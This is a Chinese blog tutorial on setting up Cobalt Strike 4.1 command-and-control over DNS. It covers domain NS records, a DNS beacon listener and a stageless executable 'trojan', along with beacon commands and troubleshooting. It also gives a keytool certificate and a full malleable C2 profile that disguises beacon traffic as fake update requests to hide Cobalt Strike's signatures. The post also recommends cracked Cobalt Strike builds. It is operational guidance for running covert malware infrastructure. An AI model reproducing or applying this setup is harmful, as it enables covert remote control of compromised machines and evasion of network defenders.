华丽的伪装--dns协议上线你的c2

dns beacon上线cobale

环境介绍

cs4.1
vps
域名
1:部署域名解析

首先,用一台公网VPS作为C2(注意:VPS的53端口一定要开),并准备好一个可以配置的域名。然后,去配置域名的记录。首先创建记录A,将自己的域名 www.xxx.com解析到VPS服务器地址。然后,创建NS记录,将 ns1.xxx.com 指向 www.xxx.com

  • 第一条A类解析是在告诉域名系统,www.xxx.com 的IP地址是 xx.xx.xx.xx
  • 第二条NS解析是在告诉域名系统,想要知道 ns1.xxx.com 的IP地址,就去问 www.hack.com 。
    在这里插入图片描述

为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。

如何验证域名解析设置是否成功?
ping一下域名显示为vps的IP 就欧克了

然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行 nslookup ns1.xxx.com 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

在这里插入图片描述

nslookup ns1.xxx.com

在这里插入图片描述

返回0.0.0.0,成功

2. CS开启监听DNS Beacon

在这里插入图片描述

3:生成DNS木马

在这里插入图片描述

生成一个exe马,选择stageless的那个,原因是,这是个完整的马,选另一个的话,被控机器和CS服务器之间要磨磨唧唧下载完stage数据,才会开始上线通信,这个过程太慢了。

在这里插入图片描述

在这里插入图片描述

上线了一个黑框

只需要右键选择进入beacon,然后输入chekin,等一会儿,黑框就变蓝了,之后就能正常交互了

checkin  #强制回连
mode dns-txt   #使用dns TXT记录的数据通道

除了mode dns-txt 外还可以使用mode dns 使用dns A记录的数据通道(ipv4)和mode dns6 使用dns AAAA记录的数据通道(ipv6)。

在这里插入图片描述

排坑指南

因为本人再操作过程中遇到了很多问题,然后也在网上收集了一些问题,自己也摸索了很久。如果经过以上操作,没用上线cs,可以看一下是否有一下问题。

53端口的占用

我的云vps是ubuntu,执行netsta命令的时候会看到一个服务占用了53端口,这个服务是systemd-resolved

如果不关闭这个服务,设置DNS监听器时很明显是有error的,其实就是端口冲突了

systemctl stop systemd-resolved

如果不关闭这个服务,设置DNS监听器时很明显是有error的,其实就是端口冲突了

域名购买平台的选择

域名购买平台的要求在于,能否自由定制NS记录

比如,能否添加一条NS记录,指定ns1.xxx.com指向www.xxx.comwww.xxx.com

我曾经弄过一个免费的域名,买完发现不能自由配置NS记录

最后推荐godaddy

CS版本的选择

经我本人的验证,有些流传的CS4.0破解版在做checkin操作的时候,teamserver服务端不会响应传回启动命令(黑框不会变蓝上线)

所以用的4.1

profile的配置

感谢两位大佬的博客内容:
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/
https://www.nctry.com/1655.html

store文件的生成

如图所示,删除服务器端原有的cobaltstrike.store
在这里插入图片描述

利用keytool(Keytool是一个java数据证书的管理工具,Keytool将密钥和证书存放在一个称为 keystore 的文件中,即.store后缀文件中)

生成store文件
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname “CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV”
解释一下:
keystore store文件的名字 profile里的keystore要和这里的keystore一致
keypass 证书密码 profile里的password要和这里设置的keypass一致
alias 别名 profile里的alias要和这里的alias一致
dname 证书内容 profile里的https-certificate要和这里一致

storepass store文件的密码 这个被我单独拉出来说,因为这个不是和profile保持一致的,是和teamserver保持一致的

vim teamserver

在这里插入图片描述

teamserver默认的store文件密码就是123456,我这里生成的时候就直接设置密码为123456了
修改端口号的话可以起到隐藏CS特征的作用,不过客户端连接服务器端的时候,别忘了把连接的端口号修改一下

profile文件的内容

以下内容保存并命名为命名为cob.profile,上传到服务器端

set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "CC";
    set O        "IBM";   
    set C        "AV";
    set L        "AD";
    set OU       "HW";  
    set ST       "AC";
    set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
    set keystore "cobaltstrike.store";
    set password "123456";
    set alias "baidu.com";
}
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
        id {
            netbios;
            parameter "id";
        }
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}
http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

通过profile启动CS

通过profile启动CS的命令:

./teamserver CS的IP地址 自己设置的密码 ./C2.profile

当然,也可以挂载后台:

当然,也可以挂载后台:

nohup ./teamserver CS的IP地址 自己设置的密码 ./C2.profile &
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值